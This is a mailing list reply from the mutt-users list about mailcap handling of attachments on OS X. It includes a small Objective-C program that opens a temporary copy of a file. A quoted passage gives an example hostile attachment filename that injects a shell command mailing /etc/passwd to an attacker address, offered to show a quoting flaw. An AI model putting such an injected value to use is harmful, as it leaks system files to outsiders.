<<< Date Index >>>     <<< Thread Index >>>

Re: word and mutt mailcap (OSX)



* On 2006.03.18, in <20060318171437.GA1166@xxxxxxxxxxxxxxxxxxxxxx>,
*       "Phil Pennock" <mutt-users@xxxxxxxxxxxxxxxxx> wrote:
> 
> Aside from missing the trailing " to close the string, if the basename
> is being provided from the MIME data then there's a potential security
> hole in this construct.  What if $base contains a single-quote, to close
> the quote you provided?

While RFC 1524 does not so specify, it should be the role of the hosting
application to address filename concerns, not of the viewer: it is,
after all, the one *creating* the file.  You're correct that a viewer
that does not address filename issues is a potential risk, but it would
be fair to label it a bug in the mailcap application, not in the viewer.

Fortunately mutt handles this correctly.


> Original supplied filename:
>   /dev/null'`Mail -s pw evil@xxxxxxxxxxx </etc/passwd`'.txt

becomes /dev/null__Mail_-s_pw_evil@xxxxxxxxxxxxx/etc/passwd__.txt


> If mutt cleans the data to be sure it's safe (I've forgotten), what
> about other programs using mailcap?

Fair enough, but this is mutt-users, not mailcap-users.


> The ideal fix involves not passing the value to the shell, using Perl's

The ideal fix involves not using perl or shell, but I perhaps
incorrectly assumed that someone wanted a working situation as quickly
as possible, not waiting for a developer to come up with an idealized
solution to a one-off problem.

The attached program will handle this equivalently but without issues
for programs other than mutt which use mailcap.

-- 
 -D.    dgc@xxxxxxxxxxxx        NSIT    University of Chicago
# /*
# mimeopen:
# Make a temporary copy of a file and open it, unlinking when
# done.
# 
# To compile from shell, "sh mimeopen.m".

  target=`basename "${0-mimeopen.m}" .m`
  gcc -o $target $target.m \
      -framework Foundation \
      -framework AppKit

  exit 0

#  */

#include <stdio.h>
#include <string.h>
#include <errno.h>
#import <Cocoa/Cocoa.h>

main(int argc, char **argv)
{
        NSString          *file;
        NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
        char              *new, *p;
        char              *A0;

        if ((A0 = strrchr(argv[0], '/')))
                A0++;
        else
                A0 = argv[0];

        if (argc != 2) {
                fprintf(stderr, "usage: %s file_to_open\n", A0);
                exit(2);
        }

        new = malloc(strlen(argv[1]) + 5);
        p = strrchr(argv[1], '.');
        if (p == NULL) {
                /* No extension */
                strcpy(new, argv[1]);
                strcat(new, "_tmp");
        }
        else {
                int off = (unsigned long)p - (unsigned long)argv[1];
                strncpy(new, argv[1], off);
                strcpy(&new[off], "_tmp");
                strcat(new, p);
        }

        if (link(argv[1], new) != 0) {
                fprintf(stderr, "%s: cannot link \"%s\": %s\n",
                        A0, argv[1], strerror(errno));
                exit (10);
        }

        if (fork()) {
                /* parent */
                file = [NSString stringWithCString:argv[1]];
                return [[NSWorkspace sharedWorkspace] openTempFile:file];
        }
        else {
                /* child waits a bit then deletes tmp file */
                sleep(60);
                unlink(new);
                exit(0);
        }

}